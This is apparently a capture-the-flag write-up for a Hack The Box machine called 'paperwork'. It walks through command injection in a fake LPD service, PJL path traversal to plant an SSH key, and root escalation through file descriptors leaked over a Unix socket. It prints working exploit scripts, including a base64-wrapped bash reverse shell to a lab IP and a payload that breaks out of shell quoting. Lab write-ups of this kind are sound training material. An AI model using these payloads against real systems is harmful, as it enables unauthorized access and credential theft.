after a long time i finally pushed the writeup.

i think paperwork should categorised as medium box.😂

after getting the ip address of the box i started with a rustscan and found

PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 63
80/tcp   open  http          syn-ack ttl 63
1515/tcp open  ifor-protocol syn-ack ttl 63

after adding the ip address to my /etc/hosts file i started with a gobuster scan and no such diretory was found

next i did enumeration to find subdomains again nothing was found.

next i notice after headover to paperwork.htb

Internal Processor  paperwork-archive-v1.02

download archive and extract it to got server.py file

analyzing server.py

opened it up and this is basically a fake lpd (line printer daemon) service listening on 1515. the important part is here

def handle_print_job(self, data):
    queue = data[1:].decode().strip()
    
    if queue not in VALID_QUEUE:
        self.sock.send(b'\x01') 
        return
    ...
    decoded_content = content.decode(errors='ignore')
    job_name = "Unknown"
    for line in decoded_content.split('\n'):
        line = line.strip()
        if line.startswith('J'):
            job_name = line[1:]
            break
    
    subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)

it reads a “control file” (this mimics the real lpd protocol), grabs whatever’s on the line starting with J and calls that the job name. then it just yeets that straight into a shell command with shell=True and zero sanitization. classic command injection.

so the plan is: connect to port 1515, pick a valid queue, send a control file where the “job name” line breaks out of the intended echo command.

writing the exploit

import socket

target_ip = "10.129.44.91"
target_port = 1515
queue_name = "archive_intake"

rev_shell = "bash -i >& /dev/tcp/10.10.14.204/4444 0>&1"

import base64
b64_shell = base64.b64encode(rev_shell.encode()).decode()

cmd_injection = f"JName'; echo {b64_shell} | base64 -d | bash #"

def p8(val):
    return bytes([val])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))

s.sendall(p8(2) + queue_name.encode() + b"\n")
res = s.recv(1024)

control_data = f"{cmd_injection}\n".encode()
data_len = len(control_data)

s.sendall(p8(2) + f"{data_len} cfA000localhost\n".encode())
s.recv(1024)
s.sendall(control_data)
s.close()

base64’d the reverse shell to handle any weird char parsing issues, closed the quote early with ', chained a new command with ;, and commented out the trailing junk with #.

fired up a listener and ran it

nc -lvnp 4444
connect to [10.10.14.204] from (UNKNOWN) [10.129.44.91]
lp@paperwork:/opt/LPDServer$ id
uid=7(lp) gid=7(lp) groups=7(lp)

foothold as lp.

enumeration as lp

first i check for the flags got nothing. then checked local ports since the nmap scan only showed 3 ports

lp@paperwork:/opt/LPDServer$ ss -tlnp
LISTEN 0 128 127.0.0.1:1337 0.0.0.0:*
LISTEN 0 100 127.0.0.1:9100 0.0.0.0:*

two loopback-only services. port 9100 screamed jetdirect/pjl printer protocol given the whole theme of the box.

no nc on the target so had to do everything through inline python sockets. sent a raw pjl query wrapped in the UEL escape sequence real printers use

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))
s.send(b'\x1b%-12345X@PJL FSQUERY NAME="../"\r\n\x1b%-12345X')
print(s.recv(4096))

got back a directory listing. confirmed it, this thing implements a pjl pseudo-filesystem (FSQUERY, FSUPLOAD, FSDOWNLOAD, FSMKDIR).

also ran

find / -type s 2>/dev/null

and spotted /run/paperwork/mgmt.sock, owned root:archivist mode 660. noted for later, couldn’t touch it as lp.

path traversal on the pjl service

the daemon behind 9100 turned out to be jetdirect.py, running as user archivist

lp@paperwork:/opt/LPDServer$ ps aux | grep paperwork
root  1459 ... /usr/bin/python3 /usr/bin/paperwork-daemon
lp@paperwork:/opt/LPDServer$ cat /proc/983/cmdline | tr '\0' ' '
/usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log

couldn’t read the jetdirect.py source directly (permission denied on the home dir), so had to work it out from behavior. the FSQUERY NAME="../" earlier already gave the game away — no traversal protection, since it returned a listing from outside the intended spool folder.

plan: FSMKDIR a .ssh folder, FSDOWNLOAD my public key into authorized_keys, ssh in as archivist.

kept getting FILEERROR=1 on the write until i figured out the parser wants NAME before SIZE (not what the real pjl spec technically implies, but this is a custom implementation so its own quirks win). also learned the hard way this service is single-threaded — a bunch of overlapping half-finished connections wedged it completely (Recv-Q climbing in ss -tlnp and never draining). had to reset the box.

final clean script, one connection per request, fully drained before moving to the next:

#!/usr/bin/env python3
import socket
import sys

HOST = "127.0.0.1"
PORT = 9100
UEL = b"\x1b%-12345X"

def send_raw(payload, timeout=5):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((HOST, PORT))
    s.send(payload)
    chunks = b""
    try:
        while True:
            data = s.recv(4096)
            if not data:
                break
            chunks += data
    except socket.timeout:
        pass
    s.close()
    return chunks

def pjl_cmd(cmd):
    payload = UEL + cmd.encode() + b"\r\n" + UEL
    resp = send_raw(payload)
    print(f"[{cmd}] ->")
    print(resp.decode(errors="replace"))
    return resp

def pjl_download(remote_path, content):
    header = f'@PJL FSDOWNLOAD NAME="{remote_path}" SIZE={len(content)}\r\n'.encode()
    payload = UEL + header + content + UEL
    resp = send_raw(payload)
    print(f"[FSDOWNLOAD {remote_path} SIZE={len(content)}] ->")
    print(resp.decode(errors="replace"))
    return resp

def main():
    local_key_path = sys.argv[1]
    remote_path = sys.argv[2] if len(sys.argv) > 2 else "../.ssh/authorized_keys"

    with open(local_key_path, "rb") as f:
        pubkey = f.read()
    if not pubkey.endswith(b"\n"):
        pubkey += b"\n"

    pjl_cmd('@PJL FSMKDIR NAME="../.ssh"')
    pjl_download(remote_path, pubkey)
    pjl_cmd(f'@PJL FSUPLOAD NAME="{remote_path}" OFFSET=0 SIZE=99999')

if __name__ == "__main__":
    main()

ran it

lp@paperwork:/tmp$ python3 /tmp/pjlkey.py /tmp/pubkey.pub
[@PJL FSMKDIR NAME="../.ssh"] ->
OK
[FSDOWNLOAD ../.ssh/authorized_keys SIZE=98] ->
OK
[@PJL FSUPLOAD NAME="../.ssh/authorized_keys" OFFSET=0 SIZE=99999] ->
@PJL FSUPLOAD NAME="../.ssh/authorized_keys" SIZE=98
ssh-ed25519 AAAA... kali@blackXploit

key landed clean. ssh’d in

ssh -i paperwork_key archivist@paperwork.htb
archivist@paperwork:~$ cat user.txt
[REDACTED]

user flag down.

privesc

back to that socket i noted earlier — /run/paperwork/mgmt.sock, group archivist. now that i actually am archivist, this is reachable.

grabbed the daemon behind it since it was world-readable

cat /usr/bin/paperwork-daemon
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
LOG_PATH = "/home/archivist/printer/logs/commands.log"

def scan_for_malice():
    with open(LOG_PATH, 'r') as f:
        content = f.read().upper()
        return any(t in content for t in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"])

def trigger_lockdown(conn):
    log_fd = os.open(LOG_PATH, os.O_RDONLY)
    evidence_bundle = array.array("i", [log_fd, admin_fd])
    conn.sendmsg([b"ALERT: SECURITY_VIOLATION..."],
                 [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
    ...

while True:
    conn, _ = s.accept()
    if scan_for_malice():
        trigger_lockdown(conn)
    else:
        secret = get_admin_secret()
        token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
        conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())

runs as root (User=root in the systemd unit). it’s meant to be a watchdog checking the printer command log for suspicious pjl activity (FSQUERY/FSUPLOAD/FSDOWNLOAD) and “locking down” if it finds any — except its lockdown response is to send the connecting client two live file descriptors over SCM_RIGHTS, one of which is admin_fd, opened by root at daemon startup, pointing at a password file. classic case of the “security response” being the actual vuln.

and since every pjl command from the path traversal step already got logged, the alarm was basically pre-tripped. just had to connect and receive it

import socket, array, os

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/run/paperwork/mgmt.sock')

fds = array.array('i')
msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_SPACE(64))
print('MSG:', msg)

for cmsg_level, cmsg_type, cmsg_data in ancdata:
    if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
        fds.frombytes(cmsg_data[:len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])

for fd in fds:
    print(os.pread(fd, 4096, 0))
MSG: b'ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.'
Received fds: [4, 5]
--- fd 4 ---
Listening on port 9100
[127.0.0.1] connected
Command: @PJL FSMKDIR NAME="../.ssh"
...
--- fd 5 ---
ADMIN_PASSWORD=[REDACTED]

recvmsg instead of a plain recv since SCM_RIGHTS is ancillary data, doesn’t show up on a normal read.

took that password, tried it straight up

archivist@paperwork:/$ su root
Password: 
root@paperwork:~# cat root.txt
[REDACTED]

rooted.